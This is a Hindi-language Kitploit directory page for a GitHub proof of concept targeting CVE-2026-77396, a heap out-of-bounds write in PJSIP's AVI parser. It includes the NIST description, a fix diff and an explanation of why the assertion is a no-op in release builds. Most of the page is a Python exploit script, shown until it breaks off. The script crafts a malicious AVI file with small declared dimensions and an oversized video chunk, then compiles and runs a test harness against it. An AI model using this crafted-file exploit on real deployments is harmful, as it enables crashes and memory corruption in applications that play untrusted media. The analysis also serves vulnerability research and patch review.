Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-77396 — PJSIP AVI पार्सर (CVE-2026-77396) में हीप आउट-ऑफ-बाउंड्स राइट ट्रिगर करने के लिए एक दुर्भावनापूर्ण AVI फ़ाइल तैयार करने वाला प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें ASan सत्यापन और पैच विश्लेषण शामिल है। | Kitploit
उपकरण/GitHubGitHub/saretawa/cve-2026-77396
मेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणफज़िंगबाइनरी शोषण
GitHubsaretawa/cve-2026-77396

CVE-2026-77396

PJSIP AVI पार्सर (CVE-2026-77396) में हीप आउट-ऑफ-बाउंड्स राइट ट्रिगर करने के लिए एक दुर्भावनापूर्ण AVI फ़ाइल तैयार करने वाला प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें ASan सत्यापन और पैच विश्लेषण शामिल है।

रिपॉजिटरी देखें
15 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE के बारे में NIST विवरण:

PJSIP is a free and open source multimedia communication library written in C. In 2.17 and earlier, the PJSIP AVI parser 
in pjmedia/src/pjmedia/avi_player.c uses an input-file video chunk length as the number of bytes copied into a frame 
buffer whose capacity is derived from the declared media dimensions. A crafted AVI file can therefore cause an 
attacker-controlled out-of-bounds write past the heap allocation when an application plays the file or pulls its frames. 
The existing size assertion does not protect production release builds, where assertions are disabled. Typical local 
playback can crash the process, while applications that accept untrusted AVI sources expose a stronger memory-corruption 
condition. No fixed version is available as of this review.

diff जिसकी हम मुख्य रूप से समीक्षा करेंगे:

git diff 7ecc65849\^..7ecc65849 -- pjmedia/src/pjmedia/avi_player.c                   12:57
diff --git a/pjmedia/src/pjmedia/avi_player.c b/pjmedia/src/pjmedia/avi_player.c
index af66be12f..1db41f719 100644
--- a/pjmedia/src/pjmedia/avi_player.c
+++ b/pjmedia/src/pjmedia/avi_player.c
@@ -1218,12 +1218,40 @@ static pj_status_t avi_get_frame(pjmedia_port *this_port,
                 goto on_error2;
             fport->size_left -= size_to_read;
         } else {
-            pj_assert(frame->size >= ch.len);
-            status = file_read3(fport->fd, frame->buf, ch.len,
+            pj_uint32_t read_len = ch.len;
+
+            /* Clamp the read to the frame buffer capacity. A crafted
+             * file may declare a chunk larger than the buffer, whose
+             * size is derived from the (also file-supplied) video
+             * dimensions; never write past frame->buf (frame->size
+             * bytes). Do not rely on pj_assert() here, as it is a no-op
+             * in release builds.
+             */
+            if (read_len > frame->size) {
+                PJ_LOG(3, (THIS_FILE,
+                           "AVI video chunk (%u) exceeds frame buffer "
+                           "(%u), truncating",
+                           (unsigned)ch.len, (unsigned)frame->size));
+                read_len = (pj_uint32_t)frame->size;
+            }
+
+            status = file_read3(fport->fd, frame->buf, read_len,
                                 0, &size_read);
             if (status != PJ_SUCCESS)
                 goto on_error2;
-            frame->size = ch.len;
+
+            /* Skip any remaining chunk bytes that did not fit, so the
+             * file position stays aligned to the next chunk.
+             */
+            if (ch.len > read_len) {
+                status = pj_file_setpos(fport->fd,
+                                        (pj_off_t)ch.len - read_len,
+                                        PJ_SEEK_CUR);
+                if (status != PJ_SUCCESS)
+                    goto on_error2;
+            }
+
+            frame->size = read_len;
             fport->size_left = 0;
         }

मूल रूप से भेद्य भाग:

pj_assert(frame->size >= ch.len);
status = file_read3(fport->fd, frame->buf, ch.len, 0, &size_read);
frame->size = ch.len;

ch, AVI फ़ाइल से पढ़ा गया एक chunk हेडर है, इसमें एक len फ़ील्ड है जो बताता है कि वीडियो chunk में कितने बाइट्स हैं। frame->buf एक heap बफ़र है जो वीडियो के घोषित आयामों (चौड़ाई × ऊँचाई × बाइट्स-प्रति-पिक्सेल) के आधार पर आवंटित किया जाता है।

यह एक जाँच होनी चाहिए: pj_assert(frame->size >= ch.len)

लेकिन pj_assert release/production बिल्ड्स में एक no-op है। इसलिए किसी भी वास्तविक deployment में, शून्य validation है। कोड बस ch.len बाइट्स को सीधे frame->buf में पढ़ लेता है।

सरल शब्दों में debug बिल्ड्स में: pj_assert(frame->size >= ch.len) प्रोग्राम को crash कर देगा यदि शर्त गलत है। Release बिल्ड्स में: वह पंक्ति हटा दी जाती है, कोई जाँच नहीं होती, और file_read3 खुशी-खुशी ch.len बाइट्स को एक ऐसे बफ़र में लिख देता है जो बहुत छोटा है।

एक AVI फ़ाइल बनाएँ जहाँ:

वीडियो स्ट्रीम हेडर छोटे आयाम घोषित करता है (मान लीजिए 16×16) -< छोटा frame->buf आवंटन डेटा सेक्शन में एक वीडियो chunk बड़ा ch.len घोषित करता है → file_read3 बफ़र से बहुत आगे लिखता है

Exploit:

import struct, os, subprocess, sys, signal, glob, argparse

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PJPROJECT   = os.path.join(SCRIPT_DIR, "pjproject")
AVI_FILE    = os.path.join(SCRIPT_DIR, "crash.avi")
TEST_SRC    = os.path.join(SCRIPT_DIR, "test_avi.c")
TEST_BIN    = os.path.join(SCRIPT_DIR, "test_avi")
FIX_COMMIT  = "7ecc6584969a923c4190b6912afbf5952b5a4b9f"

VID_W    = 16
VID_H    = 16
BPP      = 24
OVERFLOW = 50000


def craft_avi(path):
    # strf (BITMAPINFOHEADER)
    strf  = b'strf' + struct.pack('<II', 40, 40)
    strf += struct.pack('<iiHH', VID_W, VID_H, 1, BPP)
    strf += b'MJPG' + struct.pack('<I', 0)
    strf += struct.pack('<iiII', 0, 0, 0, 0)

    # strh (stream header)
    strh  = b'strh' + struct.pack('<I', 56)
    strh += b'vids' + b'MJPG'
    strh += struct.pack('<IIIIIIIIIII', 0, 0, 0, 1, 30, 0, 1, 0, 0, 0, 0)
    strh += struct.pack('<II', 0, 0)

    # strl LIST
    strl_body = b'strl' + strh + strf
    strl = b'LIST' + struct.pack('<I', len(strl_body)) + strl_body

    # avih
    avih  = b'avih' + struct.pack('<I', 56)
    avih += struct.pack('<IIIIIIII', 33333, 0, 0, 0, 1, 0, 1, 0)
    avih += struct.pack('<II', VID_W, VID_H)
    avih += struct.pack('<IIII', 0, 0, 0, 0)

    # hdrl LIST
    hdrl_body = b'hdrl' + avih + strl
    hdrl = b'LIST' + struct.pack('<I', len(hdrl_body)) + hdrl_body

    # movi LIST the oversized chunk
    movi_body  = b'movi' + b'00dc'
    movi_body += struct.pack('<I', OVERFLOW)
    movi_body += b'\x41' * OVERFLOW
    movi = b'LIST' + struct.pack('<I', len(movi_body)) + movi_body

    # RIFF wrapper
    avi_body = b'AVI ' + hdrl + movi
    riff = b'RIFF' + struct.pack('<I', len(avi_body)) + avi_body

    with open(path, 'wb') as f:
        f.write(riff)

    buf_est = VID_W * VID_H * 4
    print(f"[*] wrote {path} ({len(riff)} bytes)")
    print(f"[*] video: {VID_W}x{VID_H} MJPG, buffer ~{buf_est} bytes, chunk {OVERFLOW} bytes")


def find_libs():
    lib_files = []
    for sub in ["pjlib/lib", "pjlib-util/lib", "pjmedia/lib",
                 "pjnath/lib", "third_party/lib"]:
        d = os.path.join(PJPROJECT, sub)
        if os.path.isdir(d):
            lib_files.extend(sorted(glob.glob(os.path.join(d, "*.a"))))
    return lib_files


def compile_test():
    if not os.path.isfile(TEST_SRC):
        print(f"[-] {TEST_SRC} not found"); return False

    lib_files = find_libs()
    if not lib_files:
        print("[-] pjproject not built. see README"); return False

    inc = [f"-I{PJPROJECT}/{d}/include" for d in
           ["pjlib", "pjlib-util", "pjmedia", "pjnath", "pjsip"]]

    cmd = (["gcc", "-o", TEST_BIN, TEST_SRC] + inc
           + ["-Wl,--start-group"] + lib_files + ["-Wl,--end-group"]
           + ["-lasound", "-luuid", "-lm", "-lpthread", "-lSDL2", "-lv4l2"])

    print(f"[*] compiling {os.path.basename(TEST_SRC)} ...")
    r = subprocess.run(cmd, capture_output=True, text=True)
    if r.returncode != 0:
        print(f"[-] compile failed:\n{r.stderr}"); return False

    print(f"[+] built {TEST_BIN}")
    return True


def run_test():
    if not os.path.isfile(TEST_BIN):
        print("[-] test binary not found"); return

    print(f"\n[*] running {os.path.basename(TEST_BIN)} {os.path.basename(AVI_FILE)}")
    r = subprocess.run(
        [TEST_BIN, AVI_FILE],
        capture_output=True, text=True, timeout=10,
    )

    if r.stdout.strip():
        print(r.stdout.strip())
    if r.stderr.strip():
        for line in r.stderr.strip().splitlines()[:15]:
            print(line)
टूल डाउनलोड करें